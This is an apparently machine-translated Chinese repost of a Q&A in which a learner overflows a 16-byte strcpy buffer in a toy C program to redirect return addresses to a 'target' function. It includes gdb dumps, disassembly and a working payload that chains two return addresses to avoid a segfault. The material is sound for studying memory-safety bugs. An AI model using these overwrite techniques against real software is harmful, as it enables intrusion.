[英]Exploit a buffer overflow
為了我的學習,我嘗試創建一個有效載荷,使其溢出緩沖區並調用一個名為“目標”的“秘密”函數
這是我用於在i686上進行測試的代碼
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
任務1 :創建有效負載以便調用target()。 通過將EIP替換為目標函數的地址,這很容易做到。
這是緩沖區的外觀
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
我使用的有效負載是:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
這樣可以正常工作,但會因分段錯誤而停止。
任務2:以不會導致分段錯誤的方式修改有效負載
這是我被困的地方。 顯然它會導致分段錯誤,因為我們不使用調用指令調用目標,因此沒有有效的返回地址。
我試圖在堆棧上添加返回地址,但這沒有幫助
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
也許有人可以幫我解決這個問題。 可能我還要添加保存的主要EBP?
我附上了程序的objdump
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <puts@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <strcpy@plt>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <printf@plt>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop
您需要足夠的數據來填充“緩沖區”所在堆棧的保留內存,然后更多地覆蓋堆棧幀指針,然后使用target()
的地址覆蓋返回地址,然后在target()
再覆蓋一個地址但是不是在函數的最開頭 - 輸入它,這樣就不會在堆棧上推送舊的堆棧幀指針。 這將導致您運行目標而不是從vulnerable()
正確返回,然后再次運行target()
,以便從target()
返回到main()
,因此退出時沒有分段錯誤。
當我們第一次進入vulnerability()並且即將數據放入'buffer'變量時,堆棧如下所示:
-----------
| 24-bytes of local storage - 'buffer' lives here
-----------
| old stack frame pointer (from main) <-- EBP points here
-----------
| old EIP (address in main)
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
所以從'緩沖區'的地址開始,我們需要輸入24字節的垃圾來通過堆棧上保留的本地存儲,然后再多4個字節來通過存儲在堆棧上的舊堆棧幀指針,然后我們位於舊EIP存儲的位置。 這是CPU盲目跟隨的指令指針。 我們喜歡他。 他將幫助我們粉碎這個計划。 我們覆蓋堆棧中舊EIP的值,該堆棧當前指向main()中的地址,其中target()的起始地址是通過gdb disassemble命令找到的:
(gdb) disas target
Dump of assembler code for function target:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x18,%esp
0x0804842a <+6>: movl $0x8048554,(%esp)
0x08048431 <+13>: call 0x8048354 <puts@plt>
0x08048436 <+18>: leave
0x08048437 <+19>: ret
End of assembler dump.
target()函數的地址是0x08048424。 由於(我的系統至少)系統是小端,我們首先輸入LSB,然后是x24,x84,x04和x08。
但是這給我們留下了一個問題,因為當漏洞()返回時,它會彈出我們放入堆棧中的堆棧中的所有垃圾,當我們即將在target()中處理時,我們會留下一個看起來像這樣的堆棧第一次:
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
因此,當target()想要返回時,它將無法按預期在堆棧頂部找到返回地址,因此會出現分段錯誤。
因此,我們希望在開始在target()中處理之前將新的返回值強制到堆棧的頂部。 但選擇什么價值? 我們不想推動EBP,因為它包含垃圾。 記得? 當我們覆蓋'緩沖'時,我們把垃圾塞進去。 所以改為在...之后推送target()指令
push %ebp
(在本例中為地址0x08048425)。
這意味着當target()准備好第一次返回時,堆棧將如下所示:
-----------
| address of mov %esp, %ebp instruction in target()
-----------
| top of stack for main
-----------
| ... more stack here ...
所以當第一次從target()返回時,EIP現在將指向target()中的第二條指令,這意味着我們第二次處理target()時它具有與main()處理時相同的堆棧。 堆棧的頂部與main()的堆棧頂部相同。 現在堆棧看起來像:
-----------
| top of stack for main
-----------
| ... more stack here ...
所以當target()第二次返回時它有一個好的堆棧返回,因為它使用的是main()使用的相同堆棧,因此程序正常退出。
因此,總結一下是28字節,后跟target()中第一條指令的地址,后跟target()中第二條指令的地址。
sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.